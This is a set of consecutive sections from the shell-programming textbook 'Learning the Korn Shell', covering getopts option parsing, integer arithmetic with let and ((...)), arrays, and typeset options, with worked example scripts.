We have modified the code in the case construct to reflect what getopts does. But notice that there are no more shift statements inside the while loop: getopts does not rely on shifts to keep track of where it is. It is unnecessary to shift arguments over until getopts is finished, i.e., until the while loop exits.

If an option has an argument, getopts stores it in the variable OPTARG, which can be used in the code that processes the option.

The one shift statement left is after the while loop. getopts stores in the variable OPTIND the number of the next argument to be processed; in this case, that's the number of the first (non-option) command-line argument. For example, if the command line were bob -ab pete, then $OPTIND would be "2". If it were bob -a -b pete, then $OPTIND would be "3".

The expression $(($OPTIND - 1)) is an arithmetic expression (as we'll see later in this chapter) equal to $OPTIND minus 1. This value is used as the argument to shift. The result is that the correct number of arguments are shifted out of the way, leaving the "real" arguments as $1, $2, etc.

Before we continue, now is a good time to summarize everything that getopts does:

  1. Its first argument is a string containing all valid option letters. If an option requires an argument, a colon follows its letter in the string. An initial colon causes getopts not to print an error message when the user gives an invalid option.

  2. Its second argument is the name of a variable that will hold each option letter (without any leading dash) as it is processed.

  3. If an option takes an argument, the argument is stored in the variable OPTARG.

  4. The variable OPTIND contains a number equal to the next command-line argument to be processed. After getopts is done, it equals the number of the first "real" argument.

The advantages of getopts are that it minimizes extra code necessary to process options and fully supports the standard UNIX option syntax (as specified in intro(1) of the User's Manual).

As a more concrete example, let's return to our C compiler front end (Task 4-2). So far, we have given our script the ability to process C source files (ending in .c), assembly code files (.s), and object code files (.o). Here is the latest version of the script:

objfiles=""
for filename in "$@"; do
    case $filename in
        *.c )
            objname=${filename%.c}.o
            compile $filename $objname ;;
        *.s )
            objname=${filename%.s}.o
            assemble $filename $objname ;;
        *.o )
            objname=$filename ;;
        *   )
            print "error: $filename is not a source or object file."
            return 1 ;;
    esac
    objfiles="$objfiles $objname"
done
ld $objfiles

Now we can give the script the ability to handle options. To know what options we'll need, we'll have to discuss further what compilers do.

6.1.3.1 More About C Compilers

The C compiler on a typical modern UNIX system (ANSI C on System V Release 4) has roughly 30 different command-line options, but we'll limit ourselves to the most widely-used ones.

Here's what we'll implement. All compilers provide the ability to eliminate the final linking step, i.e., the call to the linker ld. This is useful for compiling C code into object code files that will be linked later, and for taking advantage of the compiler's error checking separately before trying to link. The -c option suppresses the link step, producing only the compiled object code files.

C compilers are also capable of including lots of extra information in an object code file that can be used by a debugger (though it is ignored by the linker and the running program). If you don't know what a debugger is, see Chapter 9, Debugging Shell Programs. The debugger needs lots of information about the original C code to be able to do its job; the option -g directs the compiler to include this information in its object-code output.

If you aren't already familiar with UNIX C compilers, you may have thought it strange when you saw in the last chapter that the linker puts its output (the executable program) in a file called a.out. This convention is a historical relic that no one has bothered to change. Although it's certainly possible to change the executable's name with the mv command, the C compiler provides the option -o filename, which uses filename instead of a.out.

Another option we will support here has to do with libraries. A library is a collection of object code, some of which is to be included in the executable at link time. (This is in contrast to a precompiled object code file, all of which is linked in.) Each library includes a large amount of object code that supports a certain type of interface or activity; typical UNIX systems have libraries for things like networking, math functions, and graphics.

Libraries are extremely useful as building blocks that help programmers write complex programs without having to "reinvent the wheel" every time. The C compiler option -l name tells the linker to include whatever code is necessary from the library name [4] in the executable it builds. One particular library called c (the file libc.a) is always included. This is known as the C runtime library; it contains code for C's standard input and output capability, among other things.

[4] This is actually a file called libname.a in a standard library directory such as /lib.

Finally, it is possible for a good C compiler to do certain things that make its output object code smaller and more efficient. Collectively, these things are called optimization. You can think of an optimizer as an extra step in the compilation process that looks back at the object-code output and changes it for the better. The option -O invokes the optimizer.

Table 6.1 summarizes the options we will build into our C compiler front end.

Table 6.1: Popular C Compiler Options
Option | Meaning
-c | Produce object code only; do not invoke the linker
-g | Include debugging information in object code files
-l lib | Include the library lib when linking
-o exefile | Produce the executable file exefile instead of the default a.out
-O | Invoke the optimizer

You should also bear in mind this information about the options:

  • The options -o and -l lib are merely passed on to the linker (ld), which processes them on its own.

  • The -l lib option can be used multiple times to link in multiple libraries.

  • The -g option is passed to the ccom command (the program that does the actual C compilation).

  • We will assume that the optimizer is a separate program called optimize that accepts an object file as argument and optimizes it "in place," i.e., without producing a separate output file.

Here is the code for the script occ that includes option processing:

# initialize option-related variables
do_link=true
debug=""
link_libs="-l c"
exefile=""
opt=false

# process command-line options
while getopts ":cgl:o:O" opt; do
    case $opt in
        c )    do_link=false ;;
        g )    debug="-g" ;;
        l )    link_libs="$link_libs -l $OPTARG" ;;
        o )    exefile="-o $OPTARG" ;;
        O )    opt=true ;;
        \? )    print 'usage: occ [-cgO] [-l lib] [-o file] files...'
               return 1 ;;
    esac
done
shift $(($OPTIND - 1))

# process the input files
objfiles=""
for filename in "$@"; do
    case $filename in
        *.c )
            objname=${filename%.c}.o
            ccom $debug $filename $objname
            if [[ $opt = true ]]; then
                optimize $objname
            fi ;;
        *.s )
            objname=${filename%.s}.o
            as $filename $objname ;;
        *.o )
            objname=$filename ;;
        *   )
            print "error: $filename is not a source or object file."
            return 1 ;;
    esac
    objfiles="$objfiles $objname"
done

if [[ $do_link = true ]]; then
    ld $exefile $link_libs $objfiles
fi

Let's examine the option-processing part of this code. The first several lines initialize variables that we will use later to store the status of each of the options. We use "true" and "false" for truth values for readability; they are just strings and otherwise have no special meaning. The initializations reflect these assumptions:

  1. We will want to link.

  2. We will not want the compiler to generate space-consuming debugger information.

  3. The only object-code library we will need is c, the standard C runtime library that is automatically linked in.

  4. The executable file that the linker creates will be the linker's default file, a.out.

  5. We will not want to invoke the optimizer.

The while, getopts, and case constructs process the options in the same way as the previous example. Here is what the code that handles each option does:

  • If the -c option is given, the do_link flag is set to "false," which will cause the if condition at the end of the script to be false, meaning that the linker will not run.

  • If -g is given, the debug variable is set to "-g". This is passed on the command line to the compiler.

  • Each -l lib that is given is appended to the variable link_libs, so that when the while loop exits, $link_libs is the entire string of -l options. This string is passed to the linker.

  • If -o file is given, the exefile variable is set to "-o file". This string is passed to the linker.

  • If -O is specified, the opt flag will be set. This specification causes the conditional if [[ $opt = true ]] to be true, which means that the optimizer will run.

The remainder of the code is a modification of the for loop we have already seen; the modifications are direct results of the above option processing and should be self-explanatory.

Previous: 5.5 while and until | Learning the Korn Shell | Next: 6.2 Integer Variables and Arithmetic
5.5 while and until | Book Index | 6.2 Integer Variables and Arithmetic
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.2 Integer Variables and Arithmetic

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 6.1 Command-line Options Chapter 6
Command-line Options and Typed Variables 		Next: 6.3 Arrays

6.2 Integer Variables and Arithmetic

The expression $(($OPTIND - 1)) in the last example gives a clue as to how the shell can do integer arithmetic. As you might guess, the shell interprets words surrounded by $(( and )) as arithmetic expressions. Variables in arithmetic expressions do not need to be preceded by dollar signs, though it is not wrong to do so.

Arithmetic expressions are evaluated inside double quotes, like tildes, variables, and command substitutions. We're finally in a position to state the definitive rule about quoting strings: When in doubt, enclose a string in single quotes, unless it contains tildes or any expression involving a dollar sign, in which case you should use double quotes.

For example, the date(1) command on System V-derived versions of UNIX accepts arguments that tell it how to format its output. The argument +%j tells it to print the day of the year, i.e., the number of days since December 31st of the previous year.

We can use +%j to print a little holiday anticipation message:

print "Only $(( (365-$(date +%j)) / 7 )) weeks until the New Year!"

We'll show where this fits in the overall scheme of command-line processing in Chapter 7, Input/Output and Command-line Processing.

The arithmetic expression feature is built in to the Korn shell's syntax, and was available in the Bourne shell (most versions) only through the external command expr(1). Thus it is yet another example of a desirable feature provided by an external command (i.e., a syntactic kludge) being better integrated into the shell. [[/]] and getopts are also examples of this design trend.

Korn shell arithmetic expressions are equivalent to their counterparts in the C language. [5] Precedence and associativity are the same as in C. Table 6.2 shows the arithmetic operators that are supported. Although some of these are (or contain) special characters, there is no need to backslash-escape them, because they are within the $((...)) syntax.

[5] The assignment forms of these operators are also permitted. For example, $((x += 2)) adds 2 to x and stores the result back in x.

Table 6.2: Arithmetic Operators
Operator | Meaning
+ | Plus
- | Minus
* | Times
/ | Division (with truncation)
% | Remainder
<< | Bit-shift left
>> | Bit-shift right
& | Bitwise and
| | Bitwise or
~ | Bitwise not
^ | Bitwise exclusive or

Parentheses can be used to group subexpressions. The arithmetic expression syntax also (like C) supports relational operators as "truth values" of 1 for true and 0 for false. Table 6.3 shows the relational operators and the logical operators that can be used to combine relational expressions.

Table 6.3: Relational Operators
Operator | Meaning
< | Less than
> | Greater than
<= | Less than or equal
>= | Greater than or equal
== | Equal
!= | Not equal
&& | Logical and
|| | Logical or

For example, $((3 > 2)) has the value 1; $(( (3 > 2) || (4 <= 1) )) also has the value 1, since at least one of the two subexpressions is true.

The shell also supports base N numbers, where N can be up to 36. The notation B#N means "N base B". Of course, if you omit the B#, the base defaults to 10.

6.2.1 Arithmetic Conditionals

Another construct, closely related to $((...)), is ((...)) (without the leading dollar sign). We use this for evaluating arithmetic condition tests, just as [[...]] is used for string, file attribute, and other types of tests.

((...)) evaluates relational operators differently from $((...)) so that you can use it in if and while constructs. Instead of producing a textual result, it just sets its exit status according to the truth of the expression: 0 if true, 1 otherwise. So, for example, ((3 > 2)) produces exit status 0, as does (( (3 > 2) || (4 <= 1) )), but (( (3 > 2) && (4 <= 1) )) has exit status 1 since the second subexpression isn't true.

You can also use numerical values for truth values within this construct. It's like the analogous concept in C, which means that it's somewhat counterintuitive to non-C programmers: a value of 0 means false (i.e., returns exit status 1), and a non-0 value means true (returns exit status 0), e.g., (( 14 )) is true. See the code for the kshdb debugger in Chapter 9 for two more examples of this.

6.2.2 Arithmetic Variables and Assignment

The ((...)) construct can also be used to define integer variables and assign values to them. The statement:

(( intvar=expression ))

creates the integer variable intvar (if it doesn't already exist) and assigns to it the result of expression.

That syntax isn't intuitive, so the shell provides a better equivalent: the built-in command let. The syntax is:

let intvar=expression

It is not necessary (because it's actually redundant) to surround the expression with $(( and )) in a let statement. As with any variable assignment, there must not be any space on either side of the equal sign (=). It is good practice to surround expressions with quotes, since many characters are treated as special by the shell (e.g., *, #, and parentheses); furthermore, you must quote expressions that include whitespace (spaces or TABs). See Table 6.4 for examples.

Table 6.4: Sample Integer Expression Assignments
Assignment | Value
let x= | $x
1+4 | 5
'1 + 4' | 5
'(2+3) * 5' | 25
'2 + 3 * 5' | 17
'17 / 3' | 5
'17 % 3' | 2
'1<<4' | 16
'48>>3' | 6
'17 & 3' | 1
'17 | 3' | 19
'17 ^ 3' | 18

Here is a small task that makes use of integer arithmetic.

Task 6.1

Write a script called pages that, given the name of a text file, tells how many pages of output it contains. Assume that there are 66 lines to a page but provide an option allowing the user to override that.

We'll make our option -N, a la head. The syntax for this single option is so simple that we need not bother with getopts. Here is the code:

if [[ $1 = -+([0-9]) ]]; then
    let page_lines=${1#-}
    shift
else
    let page_lines=66
fi
let file_lines="$(wc -l < $1)"

let pages=file_lines/page_lines
if (( file_lines % page_lines > 0 )); then
    let pages=pages+1
fi

print "$1 has $pages pages of text."

Notice that we use the integer conditional (( file_lines % page_lines > 0 )) rather than the [[...]] form.

At the heart of this code is the UNIX utility wc(1), which counts the number of lines, words, and characters (bytes) in its input. By default, its output looks something like this:

8      34     161  bob

wc's output means that the file bob has 8 lines, 34 words, and 161 characters. wc recognizes the options -l, -w, and -c, which tell it to print only the number of lines, words, or characters, respectively.

wc normally prints the name of its input file (given as argument). Since we want only the number of lines, we have to do two things. First, we give it input from file redirection instead, as in wc -l < bob instead of wc -l bob. This produces the number of lines preceded by a single space (which would normally separate the filename from the number).

Unfortunately, that space complicates matters: the statement let file_lines=$(wc -l < $1) becomes "let file_lines= N" after command substitution; the space after the equal sign is an error. That leads to the second modification, the quotes around the command substitution expression. The statement let file_lines=" N" is perfectly legal, and let knows how to remove the leading space.

The first if clause in the pages script checks for an option and, if it was given, strips the dash (-) off and assigns it to the variable page_lines. wc in the command substitution expression returns the number of lines in the file whose name is given as argument.

The next group of lines calculates the number of pages and, if there is a remainder after the division, adds 1. Finally, the appropriate message is printed.

As a bigger example of integer arithmetic, we will complete our emulation of the C shell's pushd and popd functions (Task 4-8). Remember that these functions operate on DIRSTACK, a stack of directories represented as a string with the directory names separated by spaces. The C shell's pushd and popd take additional types of arguments, which are:

  • pushd +n takes the nth directory in the stack (starting with 0), rotates it to the top, and cds to it.

  • pushd without arguments, instead of complaining, swaps the two top directories on the stack and cds to the new top.

  • popd +n takes the nth directory in the stack and just deletes it.

The most useful of these features is the ability to get at the nth directory in the stack. Here are the latest versions of both functions:

function pushd { # push current directory onto stack
    dirname=$1
    if [[ -d $dirname && -x $dirname ]]; then
        cd $dirname
        DIRSTACK="$dirname ${DIRSTACK:-$PWD}"
        print "$DIRSTACK"
    else
        print "still in $PWD."
    fi
}

function popd {  # pop directory off the stack, cd to new top
    if [[ -n $DIRSTACK ]]; then
        DIRSTACK=${DIRSTACK#* }
        cd ${DIRSTACK%% *}
        print "$PWD"
    else
        print "stack empty, still in $PWD."
    fi
}

To get at the nth directory, we use a while loop that transfers the top directory to a temporary copy of the stack n times. We'll put the loop into a function called getNdirs that looks like this:

function getNdirs{
    stackfront=''
    let count=0
    while (( count < $1 )); do
        stackfront="$stackfront ${DIRSTACK%% *}"
        DIRSTACK=${DIRSTACK#* }
        let count=count+1
    done
}

The argument passed to getNdirs is the n in question. The variable stackfront is the temporary copy that will contain the first n directories when the loop is done. stackfront starts as null; count, which counts the number of loop iterations, starts as 0.

The first line of the loop body appends the top of the stack (${DIRSTACK%% *}) to stackfront; the second line deletes the top from the stack. The last line increments the counter for the next iteration. The entire loop executes N times, for values of count from 0 to N-1.

When the loop finishes, the last directory in $stackfront is the Nth directory. The expression ${stackfront##* } extracts this directory. Furthermore, DIRSTACK now contains the "back" of the stack, i.e., the stack without the first n directories. With this in mind, we can now write the code for the improved versions of pushd and popd:

function pushd {
    if [[ $1 = ++([0-9]) ]]; then
        # case of pushd +n: rotate n-th directory to top
        let num=${1#+}
        getNdirs $num

        newtop=${stackfront##* }
        stackfront=${stackfront%$newtop}

        DIRSTACK="$newtop $stackfront $DIRSTACK"
        cd $newtop

    elif [[ -z $1 ]]; then
        # case of pushd without args; swap top two directories
        firstdir=${DIRSTACK%% *}
        DIRSTACK=${DIRSTACK#* }
        seconddir=${DIRSTACK%% *}
        DIRSTACK=${DIRSTACK#* }
        DIRSTACK="$seconddir $firstdir $DIRSTACK"
        cd $seconddir

    else
        cd $dirname
        # normal case of pushd dirname
        dirname=$1
        if [[ -d $dirname && -x $dirname ]]; then
            DIRSTACK="$dirname ${DIRSTACK:-$PWD}"
            print "$DIRSTACK"
        else
            print still in "$PWD."
        fi
    fi
}

function popd {      # pop directory off the stack, cd to new top
    if [[ $1 = ++([0-9]) ]]; then
        # case of popd +n: delete n-th directory from stack
        let num={$1#+}
        getNdirs $num
        stackfront=${stackfront% *}
        DIRSTACK="$stackfront $DIRSTACK"

    else
        # normal case of popd without argument
        if [[ -n $DIRSTACK ]]; then
            DIRSTACK=${DIRSTACK#* }
            cd ${DIRSTACK%% *}
            print "$PWD"
        else
            print "stack empty, still in $PWD."
        fi
    fi
}

These functions have grown rather large; let's look at them in turn. The if at the beginning of pushd checks if the first argument is an option of the form +N. If so, the first body of code is run. The first let simply strips the plus sign (+) from the argument and assigns the result - as an integer - to the variable num. This, in turn, is passed to the getNdirs function.

The next two assignment statements set newtop to the Nth directory - i.e., the last directory in $stackfront - and delete that directory from stackfront. The final two lines in this part of pushd put the stack back together again in the appropriate order and cd to the new top directory.

The elif clause tests for no argument, in which case pushd should swap the top two directories on the stack. The first four lines of this clause assign the top two directories to firstdir and seconddir, and delete these from the stack. Then, as above, the code puts the stack back together in the new order and cds to the new top directory.

The else clause corresponds to the usual case, where the user supplies a directory name as argument.

popd works similarly. The if clause checks for the +N option, which in this case means delete the Nth directory. A let extracts the N as an integer; the getNdirs function puts the first n directories into stackfront. Then the line stackfront=${stackfront% *} deletes the last directory (the Nth directory) from stackfront. Finally, the stack is put back together with the Nth directory missing.

The else clause covers the usual case, where the user doesn't supply an argument.

Before we leave this subject, here are a few exercises that should test your understanding of this code:

  1. Add code to pushd that exits with an error message if the user supplies no argument and the stack contains fewer than two directories.

  2. Verify that when the user specifies +N and N exceeds the number of directories in the stack, both pushd and popd use the last directory as the Nth directory.

  3. Modify the getNdirs function so that it checks for the above condition and exits with an appropriate error message if true.

  4. Change getNdirs so that it uses cut (with command substitution), instead of the while loop, to extract the first N directories. This uses less code but runs more slowly because of the extra processes generated.

Previous: 6.1 Command-line Options | Learning the Korn Shell | Next: 6.3 Arrays
6.1 Command-line Options | Book Index | 6.3 Arrays
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.3 Arrays

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 6.2 Integer Variables and Arithmetic Chapter 6
Command-line Options and Typed Variables 		Next: 7. Input/Output and Command-line Processing

6.3 Arrays

So far we have seen two types of variables: character strings and integers. The third type of variable the Korn shell supports is an array. As you may know, an array is like a list of things; you can refer to specific elements in an array with integer indices, so that a[i] refers to the ith element of array a.

The Korn shell provides an array facility that, while useful, is much more limited than analogous features in conventional programming languages. In particular, arrays can be only one-dimensional (i.e., no arrays of arrays), and they are limited to 1024 elements. Indices can start at 0.

There are two ways to assign values to elements of an array. The first is the most intuitive: you can use the standard shell variable assignment syntax with the array index in brackets ([]). For example:

nicknames[2]=bob
nicknames[3]=ed

puts the values bob and ed into the elements of the array nicknames with indices 2 and 3, respectively. As with regular shell variables, values assigned to array elements are treated as character strings unless the assignment is preceded by let.

The second way to assign values to an array is with a variant of the set statement, which we saw in Chapter 3, Customizing Your Environment. The statement:

set -A aname val1 val2 val3 ...

creates the array aname (if it doesn't already exist) and assigns val1 to aname[0], val2 to aname[1], etc. As you would guess, this is more convenient for loading up an array with an initial set of values.

To extract a value from an array, use the syntax ${aname [i]}. For example, ${nicknames[2]} has the value "bob". The index i can be an arithmetic expression-see above. If you use * in place of the index, the value will be all elements, separated by spaces. Omitting the index is the same as specifying index 0.

Now we come to the somewhat unusual aspect of Korn shell arrays. Assume that the only values assigned to nicknames are the two we saw above. If you type print "${nicknames[*]}", you will see the output:

bob ed

In other words, nicknames[0] and nicknames[1] don't exist. Furthermore, if you were to type:

nicknames[9]=pete
nicknames[31]=ralph

and then type print "${nicknames[*]}", the output would look like this:

bob ed pete ralph

This is why we said "the elements of nicknames with indices 2 and 3" earlier, instead of "the 2nd and 3rd elements of nicknames". Any array elements with unassigned values just don't exist; if you try to access their values, you will get null strings.

You can preserve whatever whitespace you put in your array elements by using " ${aname[@]} " (with the double quotes) instead of ${aname[*]}", just as you can with "$@" instead of $*.

The shell provides an operator that tells you how many elements an array has defined: ${#aname[*]}. Thus ${#nicknames[*]} has the value 4. Note that you need the [*] because the name of the array alone is interpreted as the 0th element. This means, for example, that ${#nicknames} equals the length of nicknames[0] (see Chapter 4). Since nicknames[0] doesn't exist, the value of ${#nicknames} is 0, the length of the null string.

To be quite frank, we feel that the Korn shell's array facility is of little use to shell programmers. This is partially because it is so limited, but mainly because shell programming tasks are much more often oriented toward character strings and text than toward numbers. If you think of an array as a mapping from integers to values (i.e., put in a number, get out a value), then you can see why arrays are "number-dominated" data structures.

Nevertheless, we can find useful things to do with arrays. For example, here is a cleaner solution to Task 5-4, in which a user can select his or her terminal type (TERM environment variable) at login time. Recall that the "user-friendly" version of this code used select and a case statement:

print 'Select your terminal type:'
PS3='terminal? '
select term in
    'Givalt GL35a' \
    'Tsoris T-2000' \
    'Shande 531' \
    'Vey VT99'
do
    case $REPLY in
        1 ) TERM=gl35a ;;
        2 ) TERM=t2000 ;;
        3 ) TERM=s531 ;;
        4 ) TERM=vt99 ;;
        * ) print "invalid." ;;
    esac
    if [[ -n $term ]]; then
        print "TERM is $TERM"
        break
    fi
done

We can eliminate the entire case construct by taking advantage of the fact that the select construct stores the user's number choice in the variable REPLY. We just need a line of code that stores all of the possibilities for TERM in an array, in an order that corresponds to the items in the select menu. Then we can use $REPLY to index the array. The resulting code is:

set -A termnames gl35a t2000 s531 vt99
print 'Select your terminal type:'
PS3='terminal? '
select term in
    'Givalt GL35a' \
    'Tsoris T-2000' \
    'Shande 531' \
    'Vey VT99'
do
    if [[ -n $term ]]; then
        TERM=${termnames[REPLY-1]}
        print "TERM is $TERM"
        break
    fi
done

This code sets up the array termnames so that ${termnames[0]} is "gl35a", ${termnames[1]} is "t2000", etc. The line TERM=${termnames[REPLY-1]} essentially replaces the entire case construct by using REPLY to index the array.

Notice that the shell knows to interpret the text in an array index as an arithmetic expression, as if it were enclosed in (( and )), which in turn means that variable need not be preceded by a dollar sign ($). We have to subtract 1 from the value of REPLY because array indices start at 0, while select menu item numbers start at 1.

6.3.1 typeset

The final Korn shell feature that relates to the kinds of values that variables can hold is the typeset command. If you are a programmer, you might guess that typeset is used to specify the type of a variable (integer, string, etc.); you'd be partially right.

typeset is a rather ad hoc collection of things that you can do to variables that restrict the kinds of values they can take. Operations are specified by options to typeset; the basic syntax is:

typeset -o varname[=value]

Options can be combined; multiple varnames can be used. If you leave out varname, the shell prints a list of variables for which the given option is turned on.

The options available break down into two basic categories:

  1. String formatting operations, such as right- and left-justification, truncation, and letter case control.

  2. Type and attribute functions that are of primary interest to advanced programmers.

6.3.2 Local Variables in Functions

typeset without options has an important meaning: if a typeset statement is inside a function definition, then the variables involved all become local to that function (in addition to any properties they may take on as a result of typeset options). The ability to define variables that are local to "subprogram" units (procedures, functions, subroutines, etc.) is necessary for writing large programs, because it helps keep subprograms independent of the main program and of each other.

If you just want to declare a variable local to a function, use typeset without any options. For example:

function afunc {
    typeset diffvar
    samevar=funcvalue
    diffvar=funcvalue
    print "samevar is $samevar"
    print "diffvar is $diffvar"
}

samevar=globvalue
diffvar=globvalue
print "samevar is $samevar"
print "diffvar is $diffvar"
afunc
print "samevar is $samevar"
print "diffvar is $diffvar"

This code will print the following:

samevar is globvalue
diffvar is globvalue
samevar is funcvalue
diffvar is funcvalue
samevar is funcvalue
diffvar is globvalue

Figure 6.1 shows this graphically.

Figure 6.1: Local variables in functions

You will see several additional examples of local variables within functions in Chapter 9.

6.3.3 String Formatting Options

Now let's look at the various options to typeset. Table 6.5 lists the string formatting options; the first three take an optional numeric argument.

Table 6.5: Typeset String Formatting Options
Option | Operation
-L n | Left-justify. Remove leading blanks; if n is given, fill with blanks or truncate on right to length n.
-R n | Right-justify. Remove trailing blanks; if n is given, fill with blanks or truncate on left to length n.
-Z n | Same as above, except add leading 0's instead of blanks if needed.
-l | Convert letters to lowercase.
-u | Convert letters to uppercase.

Here are a few simple examples. Assume that the variable alpha is assigned the letters of the alphabet, in alternating case, surrounded by three blanks on each side:

alpha="   aBcDeFgHiJkLmNoPqRsTuVwXyZ   "

Table 6.6 shows some typeset statements and their resulting values (assuming that each of the statements are run "independently").

Table 6.6: Examples of typeset String Formatting Options
Statement | Value of v
typeset -L v=$alpha | "aBcDeFgHiJkLmNoPqRsTuVwXyZ "
typeset -L10 v=$alpha | "aBcDeFgHiJ"
typeset -R v=$alpha | " aBcDeFgHiJkLmNoPqRsTuVwXyZ"
typeset -R16 v=$alpha | "kLmNoPqRsTuVwXyZ"
typeset -l v=$alpha | " abcdefghijklmnopqrstuvwxyz"
typeset -uR5 v=$alpha | "VWXYZ"
typeset -Z8 v="123.50" | "00123.50"

When you run typeset on an existing variable, its effect is cumulative with whatever typesets may have been used previously. This has the obvious exceptions:

  • A typeset -u undoes a typeset -l, and vice versa.

  • A typeset -R undoes a typeset -L, and vice versa.

  • typeset -Z has no effect if typeset -L has been used.

You can turn off typeset options explicitly by typing typeset +o, where o is the option you turned on before. Of course, it is hard to imagine scenarios where you would want to turn multiple typeset formatting options on and off over and over again; you usually set a typeset option on a given variable only once.

An obvious application for the -L and -R options is one in which you need fixed-width output. The most ubiquitous source of fixed-width output in the UNIX system is reflected in the following programming task.

Task 6.2

Pretend that ls doesn't do multicolumn output; write a shell script that does it.

For the sake of simplicity, we'll assume further that our version of UNIX is derived from AT&T System V, in which filenames are (still!) limited to 14 characters.

Our solution to this task relies on many of the concepts we have seen earlier in this chapter. It also relies on the fact that set -A (for constructing arrays) can be combined with command substitution in an interesting way: each word (separated by blanks, TABs, or NEWLINESs) becomes an element of the array. For example, if the file bob contains 50 words, then after the statement:

set -A fred $(< bob)

the array fred has 50 elements.

Our strategy is to get the names of all files in the given directory into an array variable. We use a while loop that mimics a for loop, as we saw earlier in this chapter, to get each filename into a variable whose length has been set to 14. We print that variable in five-column format, with two spaces between each column (for a total of 80 columns), using a counter to keep track of columns. Here is the code:

set -A filenames $(ls $1)
typeset -L14 fname
let count=0
let numcols=5

while (( $count < ${#filenames[*]} )); do
    fname=${filenames[count]}
    print -n "$fname  "
    let count="count + 1"
    if (( count % numcols == 0 )); then
        print		# NEWLINE
    fi
done

if (( count % numcols != 0 )); then
    print
fi

The first line sets up the array filenames to contain all files in the directory given by the first argument (the current directory by default). The typeset statement sets up the variable fname to have a fixed width of 14 characters. The next line initializes a counter that counts elements in the array. numcols is the number of columns per line.

The while loop iterates once for every element in filenames. In the body of the loop, the first line assigns the next array element to the fixed-width variable. The print statement prints the latter followed by two spaces; the -n option suppresses print's final NEWLINE.

The let statements increments the counter. Then there is the if statement, which determines when to start the next line. It checks the remainder of $count divided by $numcols-remember that dollar signs aren't necessary within a $((...)) construct-and if the result is 0, it's time to output a NEWLINE via a print statement without arguments. Notice that even though $count increases by 1 with every iteration of the loop, the remainder goes through a cycle of 1, 2, 3, 4, 0, 1, 2, 3, 4, 0,...

After the loop, an if construct outputs a final NEWLINE if necessary, i.e., if the if within the loop didn't just do it.

We can also use typeset options to clean up the code for our dosmv function (Task 5-3), which translates filenames in a given directory from MS-DOS to UNIX format. The code for the function is:

dos_regexp='[^a-z]\{1,8\}\.[^a-z]\{0,3\}'
for filename in ${1:+$1/}* ; do
    if print "$filename" | grep $dos_regexp > /dev/null; then
        newfilename=$(print $filename | tr [A-Z] [a-z])
        newfilename=${newfilename%.}
        print "$filename -> $newfilename"
        mv $filename $newfilename
    fi
done

We can replace the call to tr in the for loop with one to typeset -l before the loop:

typeset -l newfilename
dos_regexp='[^a-z]\{1,8\}\.[^a-z]\{0,3\}'
for filename in ${1:+$1/}* ; do
    if print "$filename" | grep $dos_regexp > /dev/null; then
        newfilename=${filename%.}
        print "$filename -> $newfilename"
        mv $filename $newfilename
    fi
done

This way, the translation to lowercase letters is done automatically each time a value is assigned to newfilename. Not only is this code cleaner, but it is also more efficient because the extra processes created by tr and command substitution are eliminated.

6.3.4 Type and Attribute Options

The other options to typeset are of more use to advanced shell programmers who are "tweaking" large scripts. These options are listed in Table 6.7.

Table 6.7: Typeset Type and Attribute Options
Option | Operation
-i n | Represent the variable internally as an integer; improves efficiency of arithmetic. If n is given, it is the base used for output.
-r | Make the variable read-only: forbid assignment to it and disallow it from being unset.[6]
-x | Export; same as export command.
-f | Refer to function names only; see "Function Options" below.

[6] The built-in command readonly does the same thing.

-i is the most useful of these. You can put it in a script when you are done writing and debugging it to make arithmetic run a bit faster, though the speedup will be apparent only if your script does a lot of arithmetic. The more readable integer is a built-in alias for typeset -i, so that integer x=5 is the same as typeset -i x=5.

The -r option is useful for setting up "constants" in shell scripts; constants are like variables except that you can't change their values once they have been initialized. Constants allow you to give names to values even if you don't want them changed; it is considered good programming practice to use constants in large programs.

The solution to Task 6-2 contains a good candidate for typeset -r: the variable numcols, which specifies the number of columns in the output. Since numcols is an integer, we could also use the -i option, i.e., replace let numcols=5 with typeset -ri numcols=5. If we were to try assigning another value to numcols, the shell would respond with the error message ksh: numcols: is read only.

-r is also useful for system administrators who set up shell variables in /etc/profile, the system-wide Korn shell initialization file. For example, if you wanted to tighten system security, one step you might take is to prevent the PATH environment variable from being changed. This helps prevent computer crackers from installing bogus executables. The statement typeset -r PATH does the trick.

These options are also useful without arguments, i.e., to see which variables exist that have those options turned on.

6.3.5 Function Options

The -f option has various suboptions, all of which relate to functions. These are listed in Table 6.8.

Table 6.8: Typeset Function Options
Option | Operation
-f | With no arguments, prints all function definitions.
-f fname | Prints the definition of function fname.
+f | Prints all function names.
-ft | Turns on trace mode for named function(s). (Chapter 9)
+ft | Turns off trace mode for named function(s). (Chapter 9)
-fu | Defines given name(s) as autoloaded function(s). (Chapter 4)

Two of these have built-in aliases that are more mnemonic: functions is an alias for typeset -f and autoload is an alias for typeset -fu.

Finally, if you type typeset without any arguments, you will see a list of all currently-defined variables (in no discernable order), preceded by appropriate keywords if they have one or more typeset options turned on. For example, typing typeset in an uncustomized shell gives you a listing of the shell's built-in variables and their attributes that looks like this: [7]

[7] For some reason, this list excludes PS1 and a few others.

export HZ
export PATH
integer ERRNO
integer OPTIND
function LINENO
export LOGNAME
export MAIL
function SECONDS
integer PPID
PS3
PS2
export TERMCAP
OPTARG
function RANDOM
export SHELL
integer TMOUT
export HOME
export _
FCEDIT
export TERM
export PWD
export TZ
integer MAILCHECK

Previous: 6.2 Integer Variables and Arithmetic | Learning the Korn Shell | Next: 7. Input/Output and Command-line Processing
6.2 Integer Variables and Arithmetic | Book Index | 7. Input/Output and Command-line Processing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] Input/Output and Command-line Processing

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 6.3 Arrays Chapter 7 Next: 7.2 String I/O

7. Input/Output and Command-line Processing

Contents:
I/O Redirectors
String I/O
Command-line Processing

